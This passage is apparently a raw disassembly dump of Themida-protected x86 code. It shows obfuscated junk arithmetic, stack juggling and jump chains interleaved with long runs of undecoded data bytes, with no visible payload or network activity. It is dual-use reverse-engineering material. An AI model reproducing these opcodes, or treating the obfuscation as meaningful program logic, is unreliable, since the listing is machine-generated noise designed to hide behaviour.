		dd 3E685DE8h, 8900007Fh, 4EBF243Ch, 0E934CE1Ah,	0FFFEF268h
		dd 383D24B8h, 78BE5676h, 0E926224Ah, 13C9h, 1F251ABFh
		dd 1BC1E900h, 295EFFFFh, 0B2ECE9C3h, 5954FFFFh,	4C181h
		dd 0BA520000h, 7DFD2992h, 0C281DAF7h, 48777851h, 0FF96BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56675D:				; CODE XREF: Themida_:0055F9C1j
		xchg	edi, [esp]
		jmp	loc_5638C1
; ---------------------------------------------------------------------------


loc_566765:				; CODE XREF: Themida_:00565AFCj
		push	555D1E92h
		mov	ecx, [esp]
		add	esp, 4
		sub	edx, 2580377Fh
		sub	edx, ecx
		push	ecx
		mov	ecx, 2580377Fh
		jmp	loc_55D180
; ---------------------------------------------------------------------------
		db 1
		dd 0E9042474h, 0FFFEDD55h
; ---------------------------------------------------------------------------


loc_56678C:				; CODE XREF: Themida_:0055BDD9j
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 6644427Bh
		sub	ebp, ebx
		add	ebp, 6644427Bh
		pop	ebx
		push	ecx
		push	eax
		mov	eax, ebp
		jmp	loc_55DC4F
; ---------------------------------------------------------------------------


loc_5667AF:				; CODE XREF: Themida_:0056065Bj
		pop	ecx
		push	23CAh
		mov	[esp], ebp
		jmp	loc_5664CA
; ---------------------------------------------------------------------------
		db 5Bh,	5Ah, 83h
		dd 348904ECh, 5529E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667CA:				; CODE XREF: Themida_:005655D1j
		pop	eax
		add	eax, 4
		push	ebp
		jmp	loc_568298
; ---------------------------------------------------------------------------


loc_5667D6:				; CODE XREF: Themida_:0055CE7Bj
		mov	edx, 47E96D75h
		neg	edx
		not	edx
		and	edx, 4BCF6073h
		neg	edx
		sub	edx, 7A3E304Fh
		sub	edx, 0DBD64BA6h
		add	ebx, edx
		pop	edx
		jmp	loc_559F77
; ---------------------------------------------------------------------------
aAH		db 'аМ',7,'h',0
		dd 29000000h, 2C8B242Ch, 0E0895024h, 405h, 40500h, 4870000h
		dd 24248B24h, 0FF9036E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566821:				; CODE XREF: Themida_:00562992j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55F9BE
; ---------------------------------------------------------------------------


loc_56682E:				; CODE XREF: Themida_:00563A25j
		push	ecx
		jmp	loc_55E2AC
; ---------------------------------------------------------------------------
		dd 15DEE29h, 0A6C681C6h, 0E91B5D64h, 0FFFFA83Fh, 6C93E954h
		dd 815DFFFFh, 4C5h, 4C58300h, 0FFEEBFE9h, 0C5815DFFh, 4
		dd 0FECA75E9h, 24148BFFh, 0FFAD3AE9h, 0CCE958FFh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566873:				; CODE XREF: Themida_:0056536Dj
		add	esp, 4
		add	esp, 4
		push	edx
		jmp	loc_5577B3
; ---------------------------------------------------------------------------
		dw 189h
		dd 7A48E959h, 0C166FFFFh, 816604E5h, 0E98BD4F5h, 0FFFFD261h
		dd 51E9D0F7h, 81FFFF28h, 4ECh, 0BA69E900h, 8F5AFFFFh, 895C2404h
		dd 0DF68241Ch, 5B1A5F32h, 8904EC83h, 0B951242Ch, 6D42456Eh
		dd 28AC981h, 0E4E91BFDh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5668CF:				; CODE XREF: Themida_:0055DFBAj
		jz	loc_55FB6E
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	6860h
		mov	[esp], ebx
		jmp	loc_567D50
; ---------------------------------------------------------------------------
		dd 801ACA35h, 49AB352Ch, 0F75050D0h, 13E9241Ch,	83FFFFB1h
		dd 0B2E904ECh
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566907:				; CODE XREF: Themida_:00554DC9j
		mov	esp, [esp]
		jmp	loc_55CE4C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FF436DE9h, 241C89FFh, 0FECC91E9h, 4EC83FFh,	0B8240489h
		dd 2A7C2594h, 0B5AEB81h, 0C3292126h, 0B5AC381h,	1582126h
		dd 241C8BD9h, 0FF0DFBE9h, 0CBEB81FFh, 1D90229h,	7685BDAh
		dd 89000066h, 0DF68240Ch, 5903F73Dh, 44D8EA81h,	34E94A37h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566963:				; CODE XREF: Themida_:0055460Cj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5559E9
; ---------------------------------------------------------------------------


loc_566971:				; CODE XREF: Themida_:0055B896j
		add	ebx, 0DC7786C4h
		jmp	loc_55D6FC
; ---------------------------------------------------------------------------
		dd 0A469A0BBh, 0FFD82939h, 815B2434h, 4C4h, 65BE5600h
		dd 0F75A4A5Bh, 0CE8146D6h, 269366DBh, 55FFEE83h, 5619B868h
		dd 242C8B62h, 0FF6869E9h, 7520BBFFh, 0E3C16A85h, 81D3F703h
		dd 0BA2C69EBh, 5EC38173h, 0C14D0A21h, 0EB8108EBh, 0FDD9198Ah
		dd 1C8BD989h, 4C48324h,	15E368h, 24348900h, 5A17A5BEh
		dd 7EEC12Eh, 0E48EF681h, 33E94543h, 53FFFF59h, 0FFB124E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5669F5:				; CODE XREF: Themida_:0055A03Aj
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55D494
; ---------------------------------------------------------------------------
		db 89h
		dd 0E789243Ch, 4C781h, 0C7810000h, 2, 8B243C87h, 0F1F62424h
		dd 0CCB60F66h, 35356866h, 240C8966h, 0C8B60F66h, 0E99C5166h
		dd 0FFFEC81Dh, 8704C683h, 72E92434h, 31FFFFE7h,	4332404h
		dd 0E7D7E924h, 505AFFFEh, 5C2838B8h, 0DA9E2D68h, 63E95848h
		dd 81FFFFB9h, 0AA6745EAh, 0C4BB533Dh, 8142C518h, 9E0D56CBh
		dd 0EAEB814Ah, 8115695Eh, 6572A5EBh, 0D697E977h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566A92:				; CODE XREF: Themida_:0055739Cj
		pop	edx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_565BFF
; ---------------------------------------------------------------------------
		dd 0BA52E089h, 3F732983h, 0A604E950h, 39B7FFFFh, 0D045EF80h
		dd 4EFC0EFh, 49EF80h, 34FF5BFAh, 0C4815924h, 4,	0FFB431E9h
		dd 4BEFFh, 0E5E90000h, 0F7FFFFC5h, 6BCEE9DEh, 0EF68FFFFh
		dd 0E9000056h, 0FFFF55BDh
; ---------------------------------------------------------------------------


loc_566AE4:				; CODE XREF: Themida_:00561FB1j
					; Themida_:00564B04j
		push	6D15h
		mov	[esp], ebx
		jmp	loc_5671AF
; ---------------------------------------------------------------------------


loc_566AF1:				; CODE XREF: Themida_:005632CAj
		add	eax, 8557681h
		and	esi, eax
		pop	eax
		add	esi, 0E4771B2h
		xor	esi, 67F403C1h
		jmp	loc_555B1F
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0FF9AFEE9h, 7C30BDFFh, 0E82910CFh,	41C3E95Dh
		dd 0C381FFFFh, 7925546Bh, 0FF29A2E9h, 0EC8351FFh, 24248904h
		dd 0FF4E12E9h, 4C481FFh, 0E9000000h, 0FFFF9495h
; ---------------------------------------------------------------------------


loc_566B44:				; CODE XREF: Themida_:00555ADCj
		push	ebx
		push	1F1E5D7Bh
		mov	ebx, [esp]
		add	esp, 4
		push	704Ah
		mov	[esp], ecx
		push	29AE3734h
		jmp	loc_55A129
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 2961E981h, 0E9813DACh, 18CD1C61h, 26B2C981h,	0E981705Eh
		dd 287F6248h, 0FF0199E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
		dd 0FF43B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566B95:				; CODE XREF: Themida_:0055584Aj
		push	edx
		push	0FFFFFFFFh
		jmp	loc_55FB76
; ---------------------------------------------------------------------------


loc_566BA0:				; CODE XREF: Themida_:005543FEj
		pop	edx
		shl	ebp, 4
		jmp	loc_564118
; ---------------------------------------------------------------------------


loc_566BA9:				; CODE XREF: Themida_:00553506j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	7FC3h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		push	5C80h
		jmp	loc_55EAFB
; ---------------------------------------------------------------------------


loc_566BCB:				; CODE XREF: Themida_:0055C4ADj
		pop	edi
		sub	edx, 47E3F403h
		sub	eax, 15410641h
		add	eax, edx
		add	eax, 15410641h
		pop	edx
		jmp	loc_5660B1
; ---------------------------------------------------------------------------
		dd 0E9240433h, 0FFFF69ABh, 83242C8Bh, 0BA5204C4h, 62470149h
		dd 0FF5FCEE9h, 240431FFh, 0FF1BE1E9h, 35E950FFh, 81FFFED0h
		dd 6C1F1AEFh, 56EF813Ah, 2901E57Dh, 56C781D7h, 8101E57Dh
		dd 6C1F1AC7h, 0DBEF813Ah, 5A53706Fh, 4EC8157h, 0E9000000h
		dd 0FFFF29B6h, 24148B66h, 741D68h, 243C8900h, 0BA52E789h
		dd 616F27D2h, 4309BF57h, 0FA317C75h, 81243C8Bh,	4C4h, 0A63FE900h
		db 2 dup(0FFh)
word_566C62	dw 30ACh		; DATA XREF: Themida_:00552B28o
		dd 72E3E9D8h, 8957FFFFh, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 0FEF65FE9h, 659868FFh, 34890000h, 0E95E5424h, 0FFFF608Ah
		dd 7EBC15Ch, 0FF46D4E9h, 240483FFh, 243C8B04h, 0FF7398E9h
		dd 7E2C1FFh, 0FFF11FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CAD:				; CODE XREF: Themida_:00557D7Dj
		sub	esi, 4
		jmp	loc_564E00
; ---------------------------------------------------------------------------
		dd 8B241C87h, 0C481242Ch, 4, 7DBD5552h,	0C14D6412h, 0FCE903EDh
		dd 80FFFEEEh, 4EE933F5h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CDB:				; CODE XREF: Themida_:005585EEj
		pop	edi
		jmp	loc_5589B7
; ---------------------------------------------------------------------------


loc_566CE1:				; CODE XREF: Themida_:00560798j
		push	esi
		mov	esi, 1AC16DB6h
		sub	dword ptr [esp+8], 4CED7C9Ch
		add	[esp+8], esi
		jmp	loc_56564E
; ---------------------------------------------------------------------------
		dd 569DF381h, 0EFE9075Ah, 68FFFF79h, 5B44h, 0E9240489h
		dd 0FFFF155Ah
; ---------------------------------------------------------------------------


loc_566D10:				; CODE XREF: Themida_:0055EE7Bj
		xor	ebp, 0AE4A6194h
		jmp	loc_552C33
; ---------------------------------------------------------------------------


loc_566D1B:				; CODE XREF: Themida_:005635A9j
		xor	esi, [esp]
		jmp	loc_562ACE
; ---------------------------------------------------------------------------
		db 57h
		dd 8806F9BFh, 1188E928h, 0C6810000h, 4,	5C243487h, 0FF2C30E9h
		dd 243C8BFFh, 0FF46A2E9h, 665066FFh, 664490B8h,	16E9C329h
		dd 81FFFFF9h, 69BC33EAh, 0D2BDE961h, 0A4B8FFFEh, 2D384D38h
		dd 0D893BD12h, 958C601h, 0B8505EF7h, 91600AEh, 1C576F0Dh
		dd 4EC8330h, 0E9243489h, 0FFFFEF6Bh, 0E9242C8Bh, 0FFFF6533h
		dd 98BED81h, 0CD810DA9h, 32401B85h, 0FF6BEFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D9D:				; CODE XREF: Themida_:00558C92j
		push	edx
		jmp	loc_5652B8
; ---------------------------------------------------------------------------


loc_566DA3:				; CODE XREF: Themida_:00561748j
		pop	eax
		jmp	loc_55DA69
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0
		dd 9C0F718h, 0CD875EF5h, 80E9D987h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_566DBB:				; CODE XREF: Themida_:005628ADj
		add	[esp+4], edi
		sub	dword ptr [esp+4], 572766E7h
		pop	edi
		pop	edx
		add	edx, 4
		push	2200h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_565AAC
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 5000000h, 4,	0FF1865E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566DF1:				; CODE XREF: Themida_:0055E7C3j
		or	eax, 18C3570Bh
		push	ebp
		mov	ebp, 541B5D8Dh
		xor	ebp, 79CD4FE6h
		and	eax, ebp
		jmp	loc_559B86
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0F6h
		dd 294F39B2h, 0FA895DEFh, 0FF65C4E9h, 5DEE31FFh, 39D3EE81h
		dd 0F6813A1Ch, 43397590h, 5DDFF681h, 0F7312170h, 5FF9095Eh
		dd 81FFE983h, 777EBBE9h, 59CA3168h, 335AD101h, 0CAE9240Ch
		dd 68FFFF59h, 5F09h, 0B8240489h, 25697995h, 0E901E883h
		dd 0FFFF16D1h
; ---------------------------------------------------------------------------


loc_566E60:				; CODE XREF: Themida_:0055F852j
		add	ecx, 2C97EFAEh
		jmp	loc_562D3B
; ---------------------------------------------------------------------------


loc_566E6B:				; CODE XREF: Themida_:0055B602j
		mov	[esp], ebp
		push	2556h
		mov	[esp], ecx
		mov	ecx, 1B7A161Bh
		shr	ecx, 7
		jmp	loc_567546
; ---------------------------------------------------------------------------
		db 28h
		dd 91C380C3h, 5883C380h, 0E952CC04h, 0FFFF5DF1h, 533DBF57h
		dd 0D7F7006Ch, 137EC781h, 0F781015Ah, 58FF6770h, 0FEF57FE9h
		dd 0BD09E9FFh, 0E957FFFEh, 0FFFF481Ah, 0E9242489h, 0FFFF6C52h
		dd 0E904E2C1h, 0FFFF9F9Ah, 0EA81C201h, 37E0117Fh, 0CAC28158h
		dd 8B7C9249h, 12E9243Ch, 0BDFFFFE0h, 0EB7781Ah,	2B05BE56h
		dd 3DE9764Fh, 81FFFFCCh, 4C4h, 66DDF600h, 0F515E952h, 3C89FFFFh
		dd 0D086824h, 0BE90000h, 81FFFEC9h, 4C4h, 0BD555100h, 11210E7Fh
		dd 685DE989h, 11F5h, 0BD242C89h, 0
		dd 0EC83CD29h, 242C8904h, 4CE95D59h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566F37:				; CODE XREF: Themida_:0055B90Ej
		mov	edi, 55077F9Ch
		jmp	loc_554BEE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 12E904ECh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F4F:				; CODE XREF: Themida_:00563A3Bj
		push	ebx
		jmp	loc_553FE1
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 2Eh
		dd 0E9671396h, 0FFFF6B42h, 0E7E9C601h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566F67:				; CODE XREF: Themida_:00554D47j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55A14B
; ---------------------------------------------------------------------------
		db 59h
		dd 34FFF830h, 241C8B24h, 4C481h, 0C4E90000h, 91FFFEC5h
		dd 31C13148h, 0CAF4E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F96:				; CODE XREF: Themida_:00553F37j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_55A819
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 97C4D646h, 0FFC530E9h, 81C629FFh, 742B4EC6h,	2434FF2Fh
		dd 0FEC013E9h, 8AC680FFh, 0FF5B5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566FCD:				; CODE XREF: Themida_:00559B49j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_559E8D
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF6FA0h, 4C581h, 0C9E90000h, 81FFFF73h, 4C7h, 4C78100h
		dd 0E9000000h, 0FFFF7B7Dh
; ---------------------------------------------------------------------------


loc_567008:				; CODE XREF: Themida_:0055C036j
		mov	esi, 1BB37711h
		sub	esi, 0C0C935A5h
		or	edx, esi
		pop	esi
		xor	edx, 5FEF576Bh
		jmp	loc_560D9B
; ---------------------------------------------------------------------------
		db 80h,	0C4h, 0A0h
		dd 801DF480h, 6866CAECh, 89666837h, 0DBB5240Ch,	0FFFC9AE9h
		dd 34EE81FFh, 815E9851h, 51F330F6h, 5EF201A2h, 0E9241487h
		dd 0FFFF91ECh, 0A1D7E95Ah
		db 2 dup(0FFh)
word_567056	dw 8B66h		; DATA XREF: Themida_:00552A1Co
		dd 8155240Ch, 4ECh, 24148900h, 0C281E289h, 4, 0E904EA83h
		dd 0FFFFC96Ch, 8B545558h, 0C483242Ch, 7D5DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567082:				; CODE XREF: Themida_:005598F3j
		shl	esi, 3
		push	edx
		mov	edx, 7AEA693Fh
		jmp	loc_55ACFB
; ---------------------------------------------------------------------------
		dd 5C242C87h, 89240C89h, 4C181E1h, 0E9000000h, 0FFFF810Eh
		dd 5C24048Fh, 83240C8Bh, 0C8904ECh, 0C8B5424h, 4C48324h
		dd 4C181h, 2D680000h, 89000016h, 9CE92414h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5670CB:				; CODE XREF: Themida_:00557D83j
		push	edx
		mov	edx, 7CBD380Dh
		xor	edx, 1D580DA8h
		add	edx, 52832EB4h
		add	edx, 2869763Dh
		not	edx
		jmp	loc_564E44
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 0E9000000h, 0FFFFFC36h, 348BF789h,	0E09EE924h
		dd 348BFFFEh, 0CC5E924h, 0F2810000h, 0AE778CA4h, 15AD701h
		dd 85EF81DFh, 0FF0EE657h, 1DE92434h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567123:				; CODE XREF: Themida_:0055BBCFj
		mov	ah, 5Ah
		jmp	loc_55FD06
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 2E772954h, 0E959CE29h, 0FFFFDCC0h
; ---------------------------------------------------------------------------


loc_567138:				; CODE XREF: Themida_:00564049j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	0DEFh
		mov	[esp], esp
		push	6DE8h
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_56658F
; ---------------------------------------------------------------------------
		dw 8166h
		dd 668034C7h, 665FFD89h, 5DF7C581h, 0FF71A9E9h,	0BA31E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56718A:				; CODE XREF: Themida_:0055674Aj
		xor	edx, ecx
		jmp	loc_56766B
; ---------------------------------------------------------------------------
		db 5Dh,	66h, 1
		dd 665166E8h, 6602A2B9h, 8B66C829h, 0EE9240Ch, 0C1FFFF8Ch
		dd 5BE902EAh
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671AF:				; CODE XREF: Themida_:00566AECj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	0CDBh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_5567B2
; ---------------------------------------------------------------------------
		db 1
		dd 6A2FE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671E2:				; CODE XREF: Themida_:00556EF6j
		push	esi
		mov	esi, 8A0E3Eh
		add	eax, esi
		jmp	loc_563936
; ---------------------------------------------------------------------------
		db 81h
		dd 805C5DF6h, 0A65BE98Ch, 0BD55FFFFh, 4, 0FF09C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567205:				; CODE XREF: Themida_:0055F379j
		sub	ebx, ebp
		add	ebx, 71BF73C5h
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	80000h
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55E311
; ---------------------------------------------------------------------------


loc_567230:				; CODE XREF: Themida_:00564A49j
		xor	eax, [esp]
		jmp	loc_55D8C3
; ---------------------------------------------------------------------------
		dd 463AEE81h, 8CE91903h, 57FFFF23h, 647BBE56h, 0C6811200h
		dd 10317630h, 0A9EAEE81h, 0F789B58Bh, 5EB4E95Eh, 431FFFFh
		dd 24043324h, 0FF26BBE9h
dword_567268	dd 2434FFFFh, 4C48359h,	0FFA16AE9h ; DATA XREF:	Themida_:00564B1Co
		db 0FFh
; ---------------------------------------------------------------------------


loc_567275:				; CODE XREF: Themida_:00559951j
		add	bl, ch
		add	bl, 53h
		mov	ecx, [esp]
		jmp	loc_55E67C
; ---------------------------------------------------------------------------


loc_567282:				; CODE XREF: Themida_:0055D523j
		push	edx
		mov	edx, esp
		jmp	loc_55F3D3
; ---------------------------------------------------------------------------


loc_56728A:				; CODE XREF: Themida_:00556E3Cj
		push	16F7h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_567DA1
; ---------------------------------------------------------------------------


loc_56729F:				; CODE XREF: Themida_:0055686Fj
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_55FD48
; ---------------------------------------------------------------------------
dword_5672AC	dd 24048B66h, 0FEE69EE9h, 40558FFh, 56000000h, 0FF1648E9h
					; DATA XREF: Themida_:00552A44o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5672C1:				; CODE XREF: Themida_:00564AC3j
		add	edx, edi
		jmp	loc_5620D6
; ---------------------------------------------------------------------------
		dd 1592C381h, 81597BDFh, 574A9FEBh, 0DB0AE944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672DA:				; CODE XREF: Themida_:00558FB9j
		mov	esp, [esp]
		sub	[edi+24h], edx
		mov	edx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_564C50
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2EBA0D32h, 8158C531h, 5EBA7DF5h, 5DE80129h, 0FF1B43E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567301:				; CODE XREF: Themida_:0055BA97j
		mov	esi, 43060735h
		or	esi, 54413420h
		jmp	loc_558FEF
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C4h
		dd 4, 0E924048Fh, 0FFFF14BDh
; ---------------------------------------------------------------------------


loc_567320:				; CODE XREF: Themida_:0055B6B5j
		mov	ebx, 0CAE46425h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_560EFB
; ---------------------------------------------------------------------------
		dd 8AF68h, 0DB1AE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56736A:				; CODE XREF: Themida_:00564203j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		jmp	loc_552FB9
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 2B59F281h, 0DAF71224h, 0C837C281h, 0D129920Bh, 0FED140E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567395:				; CODE XREF: Themida_:00556F8Aj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_564CCC
; ---------------------------------------------------------------------------
		dd 0CFD6EE81h, 0F73194B3h, 5E2434FFh, 4C481h, 0F9010000h
		dd 0FF2563E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5673B9:				; CODE XREF: Themida_:00557245j
		push	eax
		jmp	loc_561EDA
; ---------------------------------------------------------------------------
		db 81h
		dd 9C110FC6h, 81EE296Dh, 9C110FEEh, 34875D6Dh, 24248B24h
		dd 24048F54h, 4B850h, 6C810000h, 2FE30424h, 0BB534827h
		dd 15DF00ECh, 4308EBC1h, 0E908E3C1h, 0FFFF7292h, 4C781h
		dd 0E9510000h, 0FFFF8D9Ch
; ---------------------------------------------------------------------------


loc_567404:				; CODE XREF: Themida_:005606F0j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55BB5A
; ---------------------------------------------------------------------------


loc_567412:				; CODE XREF: Themida_:0056084Aj
		mov	edi, 5E3D5447h
		jmp	loc_55E049
; ---------------------------------------------------------------------------
		dd 0BE243489h, 782F7B1Ch, 4247401h, 8324348Bh, 13E904C4h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567433:				; CODE XREF: Themida_:00565C7Dj
		pop	ebx
		add	ecx, 80048207h
		push	6DF1h
		mov	[esp], esi
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		push	esi
		add	dword ptr [esp], 3E194723h
		jmp	loc_555B95
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0BF570000h, 4, 0FFD2A6E9h, 81E789FFh, 4C7h
		dd 0EF60E900h, 0D104FFFFh, 8058C500h, 0EDC03FC5h, 6803h
		dd 2C800000h, 2C280724h, 24048024h, 2096E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567496:				; CODE XREF: Themida_:005680E8j
		pop	edi
		xor	edi, 61493900h
		not	edi
		jmp	loc_55CC0B
; ---------------------------------------------------------------------------
		dd 9C00E981h, 1BE97A66h, 57FFFF16h, 657396BFh, 4B3E684Dh
		dd 14890000h, 0B47BA24h, 0C7814BCFh, 71982B55h,	23D7C781h
		dd 0D7012860h, 23D7EF81h, 0F9E92860h, 0FFFFD0h,	0ECC380EBh
		dd 80F32859h, 0B050C8EBh, 58C3007Ah, 80C3005Ah,	0B60F87C3h
		dd 8734FFC0h, 4EC81h, 14890000h, 0E8E95724h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567507:				; CODE XREF: Themida_:005546ACj
		sub	esp, 4
		jmp	loc_55DFBF
; ---------------------------------------------------------------------------
		dw 0FB89h
		dd 0FF4771E9h, 7DE95DFFh, 2DFFFF45h, 5BD552D8h,	21E9F801h
		dd 1FFFF13h, 0C1815AD1h, 4, 5C240C87h, 2C381h, 1C870000h
		dd 0E061E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567546:				; CODE XREF: Themida_:00566E7Ej
		and	ecx, 6CC062CFh
		push	edi
		mov	edi, 0FC87CC1h
		shl	edi, 3
		sub	edi, 73166229h
		xor	edi, 25589F26h
		jmp	loc_5606F5
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 56C58104h, 81136579h, 0A300D6E5h, 0FBE95007h, 31FFFF18h
		dd 14332414h, 24248B24h, 4BB0F66h, 2CE99C24h, 5FFFEB6h
		dd 4, 42Dh, 24048700h, 2414895Ch, 6F68E289h, 8900000Fh
		dd 0CDE92404h, 5FFFF3Fh, 7AAA0E67h, 1A6B762Dh, 5CC2057Bh
		dd 0F8295D30h, 0FFBE84E9h, 0EC8155FFh, 4, 0BB241C89h, 2D7A3185h
		dd 0A0E9DD89h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5675DB:				; CODE XREF: Themida_:00565FC2j
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_561D30
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0E4h
		dd 816B5125h, 0AA6745C2h, 0E9CA013Dh, 0FFFFF463h, 8904EC83h
		dd 0F3BE2434h, 812ADC44h, 0DC44F7F6h, 0BFE9562Ah
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567623:				; CODE XREF: Themida_:0056331Fj
		sub	esi, 7E525B41h
		jmp	loc_55775D
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 1AF68104h, 31410823h, 0C7815EF2h, 4A724A98h,	0FF7CA2E9h
		dd 81D901FFh, 1D7724E9h, 0B8BCE917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567652:				; CODE XREF: Themida_:005558D2j
		sub	esi, 555A39E8h
		jmp	loc_56634B
; ---------------------------------------------------------------------------


loc_56765D:				; CODE XREF: Themida_:005679A1j
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_557428
; ---------------------------------------------------------------------------


loc_56766B:				; CODE XREF: Themida_:0056718Cj
		xor	ecx, edx
		xor	edx, ecx
		not	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		dec	edx
		jmp	loc_563234
; ---------------------------------------------------------------------------
		db 5, 24h, 59h
		dd 8CE91C0Bh
		db 0B7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567687:				; CODE XREF: Themida_:0055B7BFj
		add	esi, ebp
		pop	ebp
		push	0F68h
		jmp	loc_5598AB
; ---------------------------------------------------------------------------
a2Cvw		db '╧2',1Bh,'}cVW©╟',8,0
		db 1
